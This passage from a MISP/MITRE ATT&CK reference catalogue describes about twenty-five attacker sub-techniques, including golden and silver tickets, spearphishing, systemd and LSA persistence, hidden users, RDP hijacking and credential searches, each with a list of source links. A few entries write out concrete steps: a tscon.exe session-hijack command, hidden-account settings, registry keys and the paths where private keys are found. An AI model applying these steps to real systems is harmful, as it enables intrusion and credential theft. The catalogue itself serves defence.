The tag is: *misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004"*

Table 4276. Table References

Links
https://attack.mitre.org/techniques/T1591/004
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

System Checks - T1497.001

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"*

Table 4277. Table References

Links
https://attack.mitre.org/techniques/T1497/001
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/

Golden Ticket - T1558.001

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.

The tag is: *misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001"*

Table 4278. Table References

Links
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=1640
https://adsecurity.org/?p=483
https://attack.mitre.org/techniques/T1558/001
https://blog.stealthbits.com/detect-pass-the-ticket-attacks
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285

Spearphishing Attachment - T1566.001

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"*

Table 4279. Table References

Links
https://attack.mitre.org/techniques/T1566/001
https://capec.mitre.org/data/definitions/163.html
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql

Create Snapshot - T1578.001

An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001"*

Table 4280. Table References

Links
https://attack.mitre.org/techniques/T1578/001
https://cloud.google.com/compute/docs/instances/create-start-instance#api_2
https://cloud.google.com/logging/docs/audit#admin-activity
https://content.fireeye.com/m-trends/rpt-m-trends-2020

https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html
https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor

Spearphishing Service - T1598.001

Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Service - T1598.001"*

Table 4281. Table References

Links
https://attack.mitre.org/techniques/T1598/001
https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/

Component Firmware - T1542.002

Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002"*

Table 4282. Table References

Links
https://attack.mitre.org/techniques/T1542/002
https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
https://www.smartmontools.org/

Systemd Service - T1543.002

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands:

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)

While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002"*

Table 4283. Table References

Links
http://man7.org/linux/man-pages/man1/systemd.1.html

https://attack.mitre.org/techniques/T1543/002
https://capec.mitre.org/data/definitions/550.html
https://capec.mitre.org/data/definitions/551.html
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://www.freedesktop.org/wiki/Software/systemd/
https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence

Bash History - T1552.003

Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

The tag is: *misp-galaxy:mitre-attack-pattern="Bash History - T1552.003"*

Table 4284. Table References

Links
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1552/003

Code Signing - T1553.002

Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002"*

Table 4285. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
https://attack.mitre.org/techniques/T1553/002
https://en.wikipedia.org/wiki/Code_signing
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/

RDP Hijacking - T1563.002

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)

The tag is: *misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002"*

Table 4286. Table References

Links
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://attack.mitre.org/techniques/T1563/002
https://github.com/nccgroup/redsnarf
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx

Asymmetric Cryptography - T1573.002

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver's public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002"*

Table 4287. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1573/002
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

DNS Server - T1583.002

Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002"*

Table 4288. Table References

Links
https://attack.mitre.org/techniques/T1583/002
https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/

Search Engines - T1593.002

Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e.

filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002"*

Table 4289. Table References

Links
https://attack.mitre.org/techniques/T1593/002
https://securitytrails.com/blog/google-hacking-techniques
https://www.exploit-db.com/google-hacking-database

TFTP Boot - T1542.005

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005"*

Table 4290. Table References

Links
https://attack.mitre.org/techniques/T1542/005
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7

Private Keys - T1552.004

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

The tag is: *misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"*

Table 4291. Table References

Links
https://attack.mitre.org/techniques/T1552/004
https://en.wikipedia.org/wiki/Public-key_cryptography
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

Hidden Users - T1564.002

Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.

In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value

<code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user's home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)

Adversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)

On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002"*

Table 4292. Table References

Links
https://attack.mitre.org/techniques/T1564/002
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://support.apple.com/en-us/HT203998
https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://www.us-cert.gov/ncas/alerts/TA18-074A

Authentication Package - T1547.002

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of

<code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002"*

Table 4293. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1547/002
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://technet.microsoft.com/en-us/library/dn408187.aspx

DNS Server - T1584.002

Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization’s traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1584.002"*

Table 4294. Table References

Links
https://attack.mitre.org/techniques/T1584/002
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://blogs.cisco.com/security/talos/angler-domain-shadowing
https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows

Client Configurations - T1592.004

Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004"*

Table 4295. Table References

Links
https://attack.mitre.org/techniques/T1592/004
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Reflection Amplification - T1498.002

Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Reflection Amplification - T1498.002"*

Table 4296. Table References

Links
https://attack.mitre.org/techniques/T1498/002
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
https://blog.cloudflare.com/reflections-on-reflections/
https://capec.mitre.org/data/definitions/490.html
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/

Securityd Memory - T1555.002

An adversary may obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory - T1555.002"*

Table 4297. Table References

Links

http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1555/002
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Container API - T1552.007

Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)

An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.

The tag is: *misp-galaxy:mitre-attack-pattern="Container API - T1552.007"*

Table 4298. Table References

Links
https://attack.mitre.org/techniques/T1552/007
https://docs.docker.com/engine/api/v1.41/
https://kubernetes.io/docs/concepts/overview/kubernetes-api/
https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/

Email Accounts - T1585.002

Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)

To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002"*

Table 4299. Table References

Links
https://attack.mitre.org/techniques/T1585/002
https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Silver Ticket - T1558.002

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)

Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

The tag is: *misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002"*

Table 4300. Table References

Links
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=2011
https://attack.mitre.org/techniques/T1558/002
